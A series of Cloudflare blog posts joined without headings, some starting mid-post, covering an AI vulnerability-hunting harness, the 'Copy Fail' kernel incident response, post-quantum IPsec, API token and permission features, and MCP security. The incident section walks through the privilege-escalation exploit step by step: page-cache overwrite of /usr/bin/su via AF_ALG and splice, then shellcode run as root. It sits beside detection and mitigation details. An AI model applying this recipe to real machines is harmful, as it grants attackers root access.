Each of those observations is about model behavior, and put together they describe something that isn't a chat interface anymore. It's a harness that helps you achieve the final outcomes. The first steps to building a harness are simple, as you can ask the model to help, which is what we did. We used Mythos Preview to build on, tailor, and improve our original harnesses to suit its strengths. An example of what a harness looks like in practice is described below.

Here's what our vulnerability discovery harness looks like, stage by stage. It was used to scan live code across our runtime, edge data path, protocol stack, control plane, and the open-source projects we depend on.

Stage	What it does	Why it matters
Recon	An agent reads the repository from the top down, fans out to subagents responsible for each subsystem, and produces an architecture document covering build commands, trust boundaries, entry points, and likely attack surface. It also generates the initial queue of tasks for the next stage.	Gives every downstream agent shared context. Cuts the wander problem.
Hunt	Each task is one attack class paired with a scope hint. Hunters (the agents that actually look for bugs) run concurrently, typically around fifty at once, each fanning out to a handful of exploration subagents. Each hunter has access to tools that compile and run proof-of-concept code in a per-task scratch directory.	This is where most of the work happens. Many narrow tasks in parallel, not one exhaustive agent.
Validate	An independent agent re-reads the code and tries to disprove the original finding. It uses a different prompt and has no ability to emit new findings of its own.	Catches a meaningful fraction of the noise the hunter wouldn't catch when reviewing its own work.
Gapfill	Hunters flag areas they touched but didn't cover thoroughly. Those areas get re-queued for another pass.	Counteracts the model's tendency to drift toward attack classes it has already had success with.
Dedupe	Findings that share the same root cause collapse into a single record.	Variant analysis is a feature, not a way to inflate the queue with duplicates.
Trace	For each confirmed finding in a shared library, a tracer agent fans out (one instance per consumer repository), uses a cross-repo symbol index, and decides whether attacker-controlled input actually reaches the bug from outside the system.	Turns "there is a flaw" into "there is a reachable vulnerability." This is the stage that matters most.
Feedback	Reachable traces become new hunt tasks in the consumer repositories where the bug is actually exposed.	Closes the loop. The pipeline gets better as it runs.
Report	An agent writes a structured report against a predefined schema, fixes any validation errors against that schema itself, and submits the report to an ingest API.	Output is queryable data, not free-form prose.

The loudest reaction to Mythos Preview from other security leaders has been about speed - scan faster, patch faster, compress the response cycle. More than one team we have spoken with is now operating under a two-hour SLA from CVE release to patch in production. The instinct is understandable: when the attacker timeline shortens, the defender timeline has to shorten with it. Faster is not going to be enough, and we think a lot of teams are about to spend a lot of time, effort, and money learning that the hard way.

Patching faster does not change the shape of the pipeline that produces the patch. If regression testing takes a day, you cannot get to a two-hour SLA without skipping it, and the bugs you ship when you skip regression testing tend to be worse than the bugs you were trying to patch. We learned a version of this when we tried letting the model write its own patches and watched a few go out that fixed the original bug while quietly breaking something else the code depended on.

The harder question is what the architecture around the vulnerability should look like. The principle is to make exploitation harder for an attacker even when a bug exists, so that the gap between when a vulnerability is disclosed and when it is patched matters less. That means defenses that sit in front of the application and block the bug from being reached. It means designing the application so that a flaw in one part of the code cannot give an attacker access to other parts. It means being able to roll out a fix to every place the code is running at the same moment, rather than waiting on individual teams to deploy it. 

We also recognize this topic cuts both ways. The same capabilities that helped us find bugs in our own code will, in the wrong hands, accelerate the attack side against every application on the Internet. Cloudflare sits in front of millions of those applications, and the architectural principles described above are exactly the ones our products are built to apply on behalf of customers. We will share more on what that means for customers in the weeks ahead.

If your team is doing similar work and would like to compare notes, reach out to us at security-ai-research@cloudflare.com.

Our research with Mythos Preview was conducted in a controlled environment against our own code; every vulnerability surfaced through this work was triaged, validated, and remediated where action was needed under Cloudflare's formal vulnerability management process.

This work was a team effort. Thanks to Albert Pedersen, Craig Strubhart, Dan Jones, Irtefa Fairuz, Martin Schwarzl, and Rohit Chenna Reddy for their contributions to the research, engineering, and analysis behind this blog post.

There was no impact to the Cloudflare environment, no customer data was at risk, and no services were disrupted at any point. Read on to learn how our preparedness paid off. 

Cloudflare operates a global Linux server infrastructure at an immense scale, with datacenters located across 330 cities. We maintain a custom Linux kernel build based on the community's Long-Term Support (LTS) versions to manage updates effectively at this volume. At any given time, we may utilize multiple LTS versions from various series, such as 6.12 or 6.18, which benefit from extended update periods.

The community regularly merges and releases security and stability updates which trigger an automated job to generate a new internal kernel build approximately every week. These builds undergo testing in our staging data centers to ensure stability before a global rollout. Following a successful release, the Edge Reboot Release (ERR) pipeline manages a systematic update and reboot of the edge infrastructure on a four-week cycle. Our control plane infrastructure typically adopts the most recent kernel, with reboots scheduled according to specific workload requirements.

By the time a CVE becomes public knowledge, the necessary fix has typically been integrated into stable Linux LTS releases for several weeks. Our established procedures ensure that we have already deployed these patches.

At the time of the "Copy Fail" disclosure, the majority of our infrastructure was running the 6.12 LTS version, while a subset of machines had begun transitioning to the newer 6.18 LTS release.

It helps to understand the vulnerability before getting to the response story. A comprehensive write-up can be found in the original Xint Code disclosure post.

The Linux kernel's internal crypto API manages functions like kTLS and IPsec. Userspace programs access this via the AF_ALG socket family, allowing unprivileged processes to request encryption or decryption. The algif_aead module facilitates this for Authenticated Encryption with Associated Data (AEAD) ciphers.

An unprivileged program follows these steps:

1. Opens an AF_ALG socket and binds to an AEAD template.

2. Sets a key and accepts a request socket.

3. Submits input via sendmsg() or splice().

4. Executes the operation using recvmsg().

The splice() system call is critical here, as it moves data by passing page cache references.

The page cache is a shared system cache for file contents. Modifying a page belonging to a setuid binary effectively edits that program for all users until the page is evicted.

The crypto API utilizes scatterlists, which are structures linking various memory pages. In 2017, algif_aead was optimized for in-place operations, chaining destination and reference pages together. This design lacked enforcement to prevent algorithms from writing past intended boundaries.

When the user executes recvmsg(), the authencesn wrapper in the kernel performs a 4-byte write past the legitimate output region:

scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

By using splice(), an attacker can chain a target file's page cache pages to the scatterlist. The out-of-bounds write then taints the cached file, allowing an attacker to control which file is modified, the offset, and the specific 4 bytes written. This means the attacker can manipulate the following with this exploit:

• File: Any readable file.

• Offset: Tunable via assoclen and splice parameters.

• Value: Controlled via AAD bytes 4-7 in sendmsg()

The default exploit targets /usr/bin/su, a setuid-root binary present on essentially every distribution.

1. Cache Reference: Open /usr/bin/su as O_RDONLY and read() to populate the page cache. Use splice() on the file descriptor to pass these page cache references into the crypto scatterlist.

2. Setup: Create an AF_ALG socket, bind() to authencesn(hmac(sha256),cbc(aes)), set a key, and accept a request socket without needing privileges.

3. Write Construction: For each 4-byte shellcode chunk:

   • sendmsg() with AAD bytes 4–7 containing the shellcode.

   • splice() the binary into a pipe then the AF_ALG socket so assoclen + cryptlen targets the desired .text offset.

4. Trigger: recvmsg() initiates decryption. authencesn writes its scratch data to the target offset of /usr/bin/su in the page cache. Although the function returns -EBADMSG, the 4-byte write is now in the global page cache.

5. Execution: Running execve("/usr/bin/su") loads the tainted page cache. Since the binary is setuid-root, the injected shellcode executes with root privileges.

The upstream fix (commit a664bf3d603d) reverts the 2017 in-place optimization, removing the exploit.

When the vulnerability was disclosed, many workstreams started in parallel:

• Mapping the blast radius: Our security team worked with kernel engineers to determine which kernel versions were vulnerable and assess the potential exposure.

• Validating coverage: Security reviewed the exploit technique and confirmed that our existing behavioral detections could identify the exploit pattern during authorized internal validation.

• Proactive threat hunting: Security began searching for signs that the vulnerability had been exploited before it was publicly known, going back 48 hours in our fleet-wide logs.

• Engineering a mitigation: Kernel engineers began building a runtime mitigation that would protect the fleet without breaking production services.

• Continuing software updates: Our engineering teams worked on delivering an updated Linux kernel, which required carefully rebooting and rolling it out across our servers.

There was no customer impact at any point during this response.

One of the first things our security team did was confirm that our existing endpoint detection would catch this exploit. Our servers run behavioral detection that continuously monitors process execution patterns. It doesn't rely on knowing about specific vulnerabilities; it watches for anomalous behavior across the fleet.

When our engineers validated the vulnerability internally as part of the response, the detection platform flagged it within minutes. The system linked the entire execution chain—starting at the script interpreter, moving through the kernel’s cryptographic subsystem, and ending at the privilege escalation binary—flagging it as malicious based on fleet-wide behavioral patterns.

This happened without a signature update, without a rule change, and without human intervention. Our behavioral detection coverage existed before we wrote any custom logic for this particular Copy File exploit. 

The confirmation was important because it meant we had coverage before writing a vulnerability-specific rule.

While our engineering team moved to a more targeted mitigation, our security investigation had been running since disclosure. This is our standard procedure for any critical vulnerability.

Our security team operates on a simple principle for critical vulnerabilities: assume compromise until you can prove otherwise. The investigation started from the assumption that exploitation could have occurred before the vulnerability was public, and we worked systematically to either confirm or rule it out.

The exploit leaves a distinctive trace in kernel logs when it runs. We searched for that trace across our centralized logging infrastructure, covering 48 hours before the vulnerability was publicly disclosed. If someone had exploited this before the world knew about it, we would have seen it.

We pulled access logs for affected systems and reconstructed who connected, when, and what commands they ran. This gave us a complete forensic picture of interactive activity on potentially affected infrastructure.

We checked that system binaries had not been tampered with, validated cryptographic hashes against known-good package manifests, looked for persistence mechanisms, and audited network connections for anything unusual. Everything was clean.

This graph shows the progress of our mitigation program as it progressed through our infrastructure.

Because of the long timeframe involved in deploying a patched Linux kernel, we also pursued mitigating this exploit without a reboot.

The bug was in the algif_aead kernel module. Therefore, the simple fix was to just remove this module and disallow it from being reloaded.

This mitigation was therefore exactly what the Copy Fail write-up from the security researchers who identified it recommends.

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Unfortunately removing the module would have impacted software that leverages the kernel crypto API.  This meant that we had to figure out a more surgical mitigation.

We’ve already developed and deployed such a tool for this exact scenario: bpf-lsm. Instead of removing the module, this tool leaves it loaded for legitimate users and uses a BPF Linux Security Module program to deny the socket_bind LSM hook for everyone else. This completely blocks the front door for any exploits.

A draft of the eBPF program was put together overnight. Team members picked it up the following morning, ran validations, and made it production-ready. The program is fairly straightforward. On every socket_bind call:

1. If the socket family is not AF_ALG, allow the call through unchanged.

2. If the family is AF_ALG, check the calling binary's path against an allow-list of the binaries we know to be legitimate users.

3. If the binary is on the allow-list, allow the bind. Otherwise, deny it.

To verify the mitigation on a given machine without exploiting it, the Copy Fail write-up gives a one-liner:

python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));'

On a mitigated machine you get PermissionError: [Errno 1] Operation not permitted (or FileNotFoundError, depending on which mitigation is active) instead of a successful bind.

Before enabling enforcement, we verified that our known internal service was the sole legitimate AF_ALG user to avoid accidental outages. We used prometheus-ebpf-exporter to hook the socket() syscall and track AF_ALG usage per binary across the fleet. This required no kernel changes and provided aggregate data from hundreds of thousands of servers within hours. Results confirmed the identified service was indeed the only legitimate user.

So the bpf-lsm rollout was deliberately staged in two steps:

1. Get visibility first. Push the ebpf-exporter config gated by salt. Confirm at the metric layer that the known service is effectively the only thing creating AF_ALG sockets.

2. Then enforce. Push the bpf-lsm program behind a separate enforcement gate.

In parallel, the upstream backport for our majority LTS line finally became available, and our internal automation built a patched kernel against it.

We started to test the patched kernel in our staging datacenters as soon as possible, then we resumed the longer reboot process in order to fully patch our fleet.

While we were prepared for this scenario, at Cloudflare we’re always learning and improving. Key areas we identified for improvement:

• Better visibility into kernel-API dependencies. We will review kernel-subsystem usage across production services, so we can continue to quickly mitigate exploits without service disruption.

• Better runtime mitigation. bpf-lsm is a valuable tool for mitigations, but we want to make this tool even better. This will include looking into faster deployments, better playbooks, and better logging and visibility of the tool. 

• Reduce attack surface of Linux Kernel. Review and audit our kernel configuration. Proactively identify unused modules or features so that we can remove them from our build entirely.

The "Copy Fail" vulnerability presented a unique challenge for us. Despite our practice of deploying Linux patch updates every two weeks, we remained vulnerable because a month-old mainline fix had yet to be backported to our primary kernel line. Despite that, we were still able to roll out patched kernels within hours of the backport's release. In the interim, bpf-lsm provided a surgical, no-reboot mitigation that secured our fleet. While our initial attempt to disable the problematic module failed, it did so safely within our internal staging environment rather than production, allowing us to identify this dependency.

By the end of the rollout, every machine in our fleet was protected by either a patched kernel or a bpf-lsm program denying the vulnerable code path to non-allow-listed binaries. There was no customer impact at any point during this incident, and we have committed to the follow-up work above to make our response faster and our visibility better the next time something like this lands. Responsible disclosure works, in-kernel visibility tooling pays off in moments exactly like this one, and bpf-lsm continues to be one of the most useful primitives we have for runtime kernel mitigation.

At Cloudflare, critical vulnerability response is a coordinated effort across Security, Engineering, Product, and many other teams. Special thanks to Ali Adnan, Ivan Babrou, Frederik Baetens, Curtis Bray, Piers Cornwell, Everton Didone Foscarini, Rob Dinh, Elle Dougherty, Kevin Flansburg, Matt Fleming, Kimberley Hall, Brandon Harris, Jerry Ho, Oxana Kharitonova, Marek Kroemeke, Fred Lawler, James Munson, Nafeez Nazer, Walead Parviz, Miguel Pato, Evan Pratten, Josh Seba, June Slater, Ryan Timken, Michael Wolf, Jianxin Zeng and everyone else who contributed to the investigation, mitigation, and remediation of Copy Fail. We'd also like to thank the Linux upstream maintainers and Copy Fail researchers whose work helped make a rapid response possible.

Earlier this month, we announced that Cloudflare has moved its target for full post-quantum security forward to 2029, spurred by several recent advances in quantum computing. To advance that goal, we’ve made post-quantum encryption in Cloudflare IPsec generally available.

Using the new IETF draft for hybrid ML-KEM (FIPS 203), we’ve successfully tested interoperability with branch connectors from Fortinet and Cisco — meaning you can start protecting your wide-area network (WAN) against harvest-now-decrypt-later attacks today using hardware you already have.

This post explains how we implemented the new hybrid IPsec handshake, why it took four years longer to land than its TLS counterpart, and how the industry is finally consolidating around a standard that works at Internet scale.

Cloudflare IPsec is a WAN Network-as-a-Service that replaces legacy network architectures by connecting data centers, branch offices, and cloud VPCs to Cloudflare's global IP Anycast network. Customers get simplified configuration, high availability (if a data center becomes unavailable, traffic is automatically rerouted to the nearest healthy one), and the scale of Cloudflare's global network. This is done through encrypted IPsec tunnels that support both site-to-site WAN, outbound Internet connections, and connectivity to the Cloudflare One SASE platform. 

Cloudflare IPsec now uses post-quantum encryption with hybrid ML-KEM (FIPS 203) to stop harvest-now-decrypt-later attacks. These are attacks where an adversary harvests data today and then decrypts later, after Q-Day, when there are powerful quantum computers that can break the classical public key cryptography used across the Internet.  Harvest-now-decrypt-later attacks are becoming a concern for more organizations as Q-Day approaches faster than expected.

ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) is a post-quantum cryptography algorithm that is based on mathematical assumptions that are not known to be vulnerable to attacks by quantum computers. It does not require special hardware or a dedicated physical link between sender and receiver. ML-KEM is intentionally designed to be implemented in software across standard processors to provide post-quantum encryption of network traffic. 

Draft-ietf-ipsecme-ikev2-mlkem specifies post-quantum encryption for IPsec using hybrid ML-KEM, which combines the well-understood security of classical Diffie-Hellman and the post-quantum security of ML-KEM in a single, standards-compliant handshake. Specifically, a classical Diffie-Hellman exchange runs first, its derived key encrypts a second exchange that runs ML-KEM, and the outputs of both are mixed into the session keys that secure IPsec data plane traffic sent using the Encapsulating Security Payload (ESP) protocol. 

Earlier we announced the closed beta of our implementation of draft-ietf-ipsecme-ikev2-mlkem in production in our Cloudflare IPsec product and tested it against a reference implementation (strongswan). Now that we have made this implementation generally available, we have also confirmed interoperability with several other vendors, including Cisco and Fortinet, which is a big win for this new standard.

Cisco: Customers using Cisco 8000 Series Secure Routers after version 26.1.1 as their branch connector can also now establish post-quantum Cloudflare IPsec tunnels per draft-ietf-ipsecme-ikev2-mlkem.

Fortinet: Customers using Fortinet FortiOS 7.6.6 and later as their branch connector can now establish post-quantum Cloudflare IPsec tunnels to Cloudflare's global network per draft-ietf-ipsecme-ikev2-mlkem.

Given that upgrading cryptography is hard and can take years, our 2029 target date for a full update to post-quantum cryptography is going to require concentrated effort. That’s why we hope the IPsec community continues to focus on the development of interoperable standards like draft-ietf-ipsecme-ikev2-mlkem.

Let us explain why these standards are vitally important. A full specification for hybrid ML-KEM in IPsec, draft-ietf-ipsecme-ikev2-mlkem, became available only in late 2025. That's roughly four years after support for hybrid ML-KEM landed in TLS. (In fact, Cloudflare turned on hybrid post-quantum key agreement with TLS in 2022, even before NIST finalized the standardization of ML-KEM, because the TLS community quickly converged on a single, interoperable approach and pushed it into production. Today more than two-thirds of the human-generated TLS traffic to Cloudflare's network is protected with hybrid ML-KEM.)

The four-year delay is likely due in part to the IPsec community's continued interest in Quantum Key Distribution (QKD), as codified in RFC 8784, published in 2020. We've written before about why QKD is not part of our post-quantum strategy: QKD requires specialized hardware and a dedicated physical link between the two parties, which fundamentally means it will not operate at Internet scale. Also, QKD does not provide authentication, so you still need post-quantum cryptography anyway to stop active attackers. It’s difficult to find implementations of QKD that interoperate across vendors.   

The U.S. NSA, Germany's BSI, and the UK's NCSC have all warned against solely relying on QKD. Post-quantum cryptography, by contrast, runs on the hardware you already have, authenticates the parties at both ends, and works end-to-end across the Internet. 

RFC 9370, published in 2023, opened the door to post-quantum cryptography in IPsec, allowing up to seven key exchanges to be run in parallel with classical Diffie-Hellman. However, RFC 9370 did not specify which ciphersuites should be used in these parallel key exchanges. In the absence of that specification, some vendors shipped early implementations under RFC 9370 before the hybrid ML-KEM draft was available, defining their own ciphersuites including some which are not NIST-standardized. This is exactly the kind of “ciphersuite bloat” NIST SP 800 52r2 warned against. And the risks to interoperability have played out in practice: Cloudflare IPsec does not yet interoperate with Palo Alto Networks' RFC 9370–based implementation, because it was launched before draft-ietf-ipsecme-ikev2-mlkem was available. 

Fortunately, we now have draft-ietf-ipsecme-ikev2-mlkem that fills in the gaps in RFC 9370, specifying hybrid ML-KEM as one of the key exchange mechanisms that can be operated in parallel with classical Diffie-Hellman. We hope to add Palo Alto Networks to the list of interoperable post-quantum branch connectors as the industry continues to consolidate around draft-ietf-ipsecme-ikev2-mlkem.

But the journey towards interoperable post-quantum IPsec standards is not over yet. While draft-ietf-ipsecme-ikev2-mlkem supports post-quantum encryption, we still need IPsec standards for post-quantum authentication, so that we can stop attacks by quantum adversaries on live systems after Q-Day. Given the shortened timeline for full post-quantum readiness, we hope the IPsec community will continue to focus on interoperable PQC implementations, rather than diverting focus to niche use cases with QKD.

At Cloudflare, we’re helping make a secure and post-quantum Internet accessible to everyone, without specialized hardware and at no extra cost to our customers. Post-quantum Cloudflare IPsec is one more step on our path to full post-quantum security by 2029, and we’re doing it in a way that ensures that the Internet remains open and interoperable for years to come. 

This is an identity problem. In modern development, "identities" aren't just people — they are the agents, scripts, and third-party tools that act on your behalf. To secure these non-human identities, you need to manage their entire lifecycle: ensuring their credentials (tokens) aren't leaked, seeing which applications have access via OAuth, and narrowing their permissions using granular RBAC.

Today, we are introducing updates to address these needs: scannable tokens to protect your credentials, OAuth visibility to manage your principals, and resource-scoped RBAC to fine-tune your policies.

To secure the Internet in an era of autonomous agents, we have to rethink how we handle identity. Whether a request comes from a human developer or an AI agent, every interaction with an API relies on three core pillars:

• The Principal (The Traveler): This is the identity itself — the "who." It might be you logging in via OAuth, or a background agent using an API token to deploy code.

• The Credential (The Passport): This is the proof of that identity. In this world, your API token is your passport. If it’s stolen or leaked, anyone can "wear" your identity.

• The Policy (The Visa): This defines what that identity is allowed to do. Just because you have a valid passport doesn't mean you have a visa to enter every country. A policy ensures that even a verified identity can only access the specific resources it needs.

When these three pillars aren't managed together, security breaks down. You might have a valid Principal using a stolen Credential, or a legitimate identity with a Policy that is far too broad.

Agents and other third-party applications use API tokens to access the Cloudflare API. One of the simplest ways that we see people leaking their secrets is by accidentally pushing them to a public GitHub repository. GitGuardian reports that last year more than 28 million secrets were published to public GitHub repositories, and that AI is causing leaks to happen 5x faster than before.

If an API token is a digital passport, then leaking it on a public repository is like leaving your passport on a park bench. Anyone who finds it can impersonate that identity until the document is canceled. Our partnership with GitHub acts like a global "lost and found" for these credentials. By the time you realize your passport is missing, we’ve already identified the document, verified its authenticity via the checksum, and voided it to prevent misuse.

We’re partnering with several leading credential scanning tools to help proactively find your leaked tokens and revoke them before they could be used maliciously. We know it’s not a matter of if, but rather when, before you, an employee, or one of your agents makes a mistake and pushes a secret somewhere it shouldn’t be. 

We’ve partnered with GitHub and are participating in their Secret Scanning program to find your tokens in both public and private repositories. If we are notified that a token has leaked to a public repository, we will automatically revoke the token to prevent it from being used maliciously. For private repositories, GitHub will notify you about any leaked Cloudflare tokens and you can clean these up.

We’ve shared the new token formats (below!) with GitHub, and they now scan for them on every commit. If they find something that looks like a leaked Cloudflare token, they verify the token is real (using the checksum), send us a webhook to revoke it, and then we notify you via email so you can generate a new one in Dashboard settings.

This means we plug the hole as soon as it’s found. By the time you realize you made a mistake, we've already fixed it. 

We hope this is the kind of feature you don’t need to use, but our partners are on the lookout for leaks to help keep you secure. 

Cloudflare One customers are also protected from these leaks. By configuring the Credentials and Secrets DLP profile, organizations can activate prevention everywhere a credential can travel:

• Network Traffic (Cloudflare Gateway): Apply these entries to a policy to detect and block Cloudflare API tokens moving across your network. A token in a file upload, an outbound request, or a download is stopped before it reaches its destination.

• Outbound Email (Cloudflare Email Security): Microsoft 365 customers can extend this same prevention to Outlook. The DLP Assist add-in scans messages before delivery, catching a token before it’s sent externally.

• Data at Rest (Cloudflare CASB): Cloudflare’s Cloud Access Security Broker applies the same profile to scan files across connected SaaS applications, catching tokens saved or shared in Google Drive, OneDrive, Dropbox, and other integrated services.

The most novel exposure vector, though, is AI traffic. Cloudflare AI Gateway integrates with the same DLP profiles to scan and block both incoming prompts and outgoing AI model responses in real time.

The only way credential scanning works is if we meet you where you are, so we are working with several open source and commercial credential scanners to ensure you are protected no matter what secret scanner you use. 

Until now, Cloudflare’s API tokens were pretty generic looking, so they were hard for credential scanners to identify with high confidence. These automated security tools scan your code repositories looking for exposed credentials like API keys, tokens or passwords. The “cf” prefix makes Cloudflare tokens instantly recognizable with greater confidence, and the checksum makes it easy for tools to statically validate them. Your existing tokens will continue to work, but every new token you generate will use the scannable format so it’s easily detected with high confidence.

If you have existing API tokens, you can roll the token to create a new, scannable API token. This is optional, but recommended to ensure that your tokens are easily discoverable in case they leak. 

While API tokens are generally used by your own scripts and agents, OAuth is how you manage access for third-party platforms. Both require clear visibility to prevent unauthorized access and ensure you know exactly who — or what — has access to your data.

When you connect third-party applications like Wrangler to your Cloudflare Account using OAuth, you're granting that application access to your account’s data. Over time, you may forget why you granted a third party application access to your Account in the first place. Previously, there was no central place to view & manage those applications. Starting today, there is.  

Going forward, when a third party application requests access to your Cloudflare account, you’ll be able to review: 

• Which third-party application is requesting access, along with information about the application like Name, Logo, and the Publisher.

• Which scopes the third-party application is requesting access to.

• Which accounts to grant the third party application access to.

Before	After

Not all applications require the same permissions; some only need to read data, others may need to make changes to your Account. Understanding these scopes before you grant access helps you maintain least-privilege.

We also added a Connected Applications experience so you can see which applications have access to which accounts, what scopes/permissions are associated with that application, and easily revoke that access as needed. 

The OAuth consent and revocation improvements are available now. Check which apps currently have access to your accounts by visiting My Profile > Access Management > Connected Applications. 

For developers building integrations with Cloudflare, keep an eye on the Cloudflare Changelog for more announcements around how you can register your own OAuth apps soon! 

If the token is the passport, then resource-scoped permissions are the visas inside it. Having a valid passport gets you through the front door, but it shouldn't give you access to every room in the building. By narrowing the scope to specific resources — like a single Load Balancer pool or a specific Gateway policy — you are ensuring that even if an identity is verified, it only has the "visa" to go where it’s strictly necessary.

Last year, we announced support for resource scoped permissions in Cloudflare’s role-based access control (RBAC) system for several of our Zero Trust products. This enables you to right size permissions for both users and agents to minimize security risks. We’ve expanded this capability to several new resources-level permissions. The resource scope is now supported for:

• Access Applications

• Access Identity Providers

• Access Policies

• Access Service Tokens

• Access Targets

We’ve also completely overhauled the API Token creation experience, making it easier for customers to provision and manage Account API Tokens right from the Cloudflare Dashboard.

When you add a member to your Cloudflare account or create an API Token, you typically assign that principal a policy. A Permission Policy is what gives a principal permission to take an action, whether that’s managing Cloudflare One Access Applications, or DNS Records. Without a policy, a principal can authenticate, but they are unauthorized to do any actions within an account.

Policies are made up of three components: a Principal, a Role, and a Scope. The Principal is who or what you're granting access to, whether that's a human user, a Non-Human Identity (NHI) like an API Token, or increasingly, an Agent acting on behalf of a user. The Role defines what actions they're permitted to take. The Scope determines where those permissions apply, and historically, that's been restricted to the entire account, or individual zones.

We’re also expanding the role surface more broadly at both the Account & Zone level with the introduction of a number of new roles for many products. 

• Account scope

  • CDN Management

  • MCP Portals

  • Radar

  • Request Tracer

  • SSL/TLS Management

• Zone scope

  • Analytics

  • Logpush

  • Page Rules

  • Security Center

  • Snippets

  • Zone Settings

The resource scope and all new account and zone-level roles are available today for all Cloudflare customers. You can assign account, zone, or resource-scoped policies through the Cloudflare Dashboard, the API, or Terraform. 

For a full breakdown of all available roles and how scopes work, visit our roles and scope documentation.

These updates provide the granular building blocks needed for a true least-privilege architecture. By refining how we manage permissions and credentials, developers and enterprises can have greater confidence in their security posture across the users, apps, agents, and scripts that access Cloudflare. Least privilege isn’t a new concept, and for enterprises, it’s never been optional. Whether a human administrator is managing a zone or an agent is programmatically deploying a Worker, the expectation is the same, they should only be authorized to do the job it was given, and nothing else. 

Following today’s announcement, we recommend customers:

1. Review your API tokens, and reissue with the new, scannable API tokens as soon as possible. 

2. Review your authorized OAuth apps, and revoke any that you are no longer using

3. Review member & API Token permissions in your accounts and ensure that users are taking advantage of the new account, zone, or resource scoped permissions as needed to reduce your risk area. 

In this blog we’ll walk through our own best practices for securing MCP workflows, by putting different parts of our platform together to create a unified security architecture for the era of autonomous AI. We’ll also share two new concepts that support enterprise MCP deployments:

• We are launching Code Mode with MCP server portals, to drastically reduce token costs associated with MCP usage; 

• We describe how to use Cloudflare Gateway for Shadow MCP detection, to discover use of unauthorized remote MCP servers.

We also talk about how our organization approached deploying MCP, and how we built out our MCP security architecture using Cloudflare products including remote MCP servers, Cloudflare Access, MCP server portals and AI Gateway. 

MCP is an open standard that enables developers to build a two-way connection between AI applications and the data sources they need to access. In this architecture, the MCP client is the integration point with the LLM or other AI agent, and the MCP server sits between the MCP client and the corporate resources.

The separation between MCP clients and MCP servers allows agents to autonomously pursue goals and take actions while maintaining a clear boundary between the AI (integrated at the MCP client) and the credentials and APIs of the corporate resource (integrated at the MCP server). 

Our workforce at Cloudflare is constantly using MCP servers to access information in various internal resources, including our project management platform, our internal wiki, documentation and code management platforms, and more. 

Very early on, we realized that locally-hosted MCP servers were a security liability. Local MCP server deployments may rely on unvetted software sources and versions, which increases the risk of supply chain attacks or tool injection attacks. They prevent IT and security administrators from administrating these servers, leaving it up to individual employees and developers to choose which MCP servers they want to run and how they want to keep them up to date. This is a losing game.

Instead, we have a centralized team at Cloudflare that manages our MCP server deployment across the enterprise. This team built a shared MCP platform inside our monorepo that provides governed infrastructure out of the box. When an employee wants to expose an internal resource via MCP, they first get approval from our AI governance team, and then they copy a template, write their tool definitions, and deploy, all the while inheriting default-deny write controls with audit logging, auto-generated CI/CD pipelines, and secrets management for free. This means standing up a new governed MCP server is minutes of scaffolding. The governance is baked into the platform itself, which is what allowed adoption to spread so quickly. 

Our CI/CD pipeline deploys them as remote MCP servers on custom domains on Cloudflare’s developer platform. This gives us visibility into which MCPs servers are being used by our employees, while maintaining control over software sources. As an added bonus, every remote MCP server on the Cloudflare developer platform is automatically deployed across our global network of data centers, so MCP servers can be accessed by our employees with low latency, regardless of where they might be in the world.

Some of our MCP servers sit in front of public resources, like our Cloudflare documentation MCP server or Cloudflare Radar MCP server, and thus we want them to be accessible to anyone. But many of the MCP servers used by our workforce are sitting in front of our private corporate resources. These MCP servers require user authentication to ensure that they are off limits to everyone but authorized Cloudflare employees. To achieve this, our monorepo template for MCP servers integrates Cloudflare Access as the OAuth provider. Cloudflare Access secures login flows and issues access tokens to resources, while acting as an identity aggregator that verifies end user single-sign on (SSO), multifactor authentication (MFA), and a variety of contextual attributes such as IP addresses, location, or device certificates. 

^{MCP server portals unify governance and control for all AI activity.}

As the number of our remote MCP servers grew, we hit a new wall: discovery. We wanted to make it easy for every employee (especially those that are new to MCP) to find and work with all the MCP servers that are available to them. Our MCP server portals product provided a convenient solution. The employee simply connects their MCP client to the MCP server portal, and the portal immediately reveals every internal and third-party MCP servers they are authorized to use. 

Beyond this, our MCP server portals provide centralized logging, consistent policy enforcement and data loss prevention (DLP guardrails). Our administrators can see who logged into what MCP portal and create DLP rules that prevent certain data, like personally identifiable data (PII), from being shared with certain MCP servers.

We can also create policies that control who has access to the portal itself, and what tools from each MCP server should be exposed. For example, we could set up one MCP server portal that is only accessible to employees that are part of our finance group that exposes just the read-only tools for the MCP server in front of our internal code repository. Meanwhile, a different MCP server portal, accessible only to employees on their corporate laptops that are in our engineering team, could expose more powerful read/write tools to our code repository MCP server.

An overview of our MCP server portal architecture is shown above. The portal supports both remote MCP servers hosted on Cloudflare, and third-party MCP servers hosted anywhere else. What makes this architecture uniquely performant is that all these security and networking components run on the same physical machine within our global network. When an employee's request moves through the MCP server portal, a Cloudflare-hosted remote MCP server, and Cloudflare Access, their traffic never needs to leave the same physical machine. 

After months of high-volume MCP deployments, we’ve paid out our fair share of tokens. We’ve also started to think most people are doing MCP wrong.

The standard approach to MCP requires defining a separate tool for every API operation that is exposed via an MCP server. But this static and exhaustive approach quickly exhausts an agent’s context window, especially for large platforms with thousands of endpoints.

We previously wrote about how we used server-side Code Mode to power Cloudflare’s MCP server, allowing us to expose the thousands of end-points in Cloudflare API while reducing token use by 99.9%. The Cloudflare MCP server exposes just two tools: a search tool lets the model write JavaScript to explore what’s available, and an execute tool lets it write JavaScript to call the tools it finds. The model discovers what it needs on demand, rather than receiving everything upfront.

We like this pattern so much, we had to make it available for everyone. So we have now launched the ability to use the “Code Mode” pattern with MCP server portals. Now you can front all of your MCP servers with a centralized portal that performs audit controls and progressive tool disclosure, in order to reduce token costs.

Here is how it works. Instead of exposing every tool definition to a client, all of your underlying MCP servers collapse into just two MCP portal tools: portal_codemode_search and portal_codemode_execute. The search tool gives the model access to a codemode.tools() function that returns all the tool definitions from every connected upstream MCP server. The model then writes JavaScript to filter and explore these definitions, finding exactly the tools it needs without every schema being loaded into context. The execute tool provides a codemode proxy object where each upstream tool is available as a callable function. The model writes JavaScript that calls these tools directly, chaining multiple operations, filtering results, and handling errors in code. All of this runs in a sandboxed environment on the MCP server portal powered by Dynamic Workers. 

Here is an example of an agent that needs to find a Jira ticket and update it with information from Google Drive. It first searches for the right tools:

// portal_codemode_search
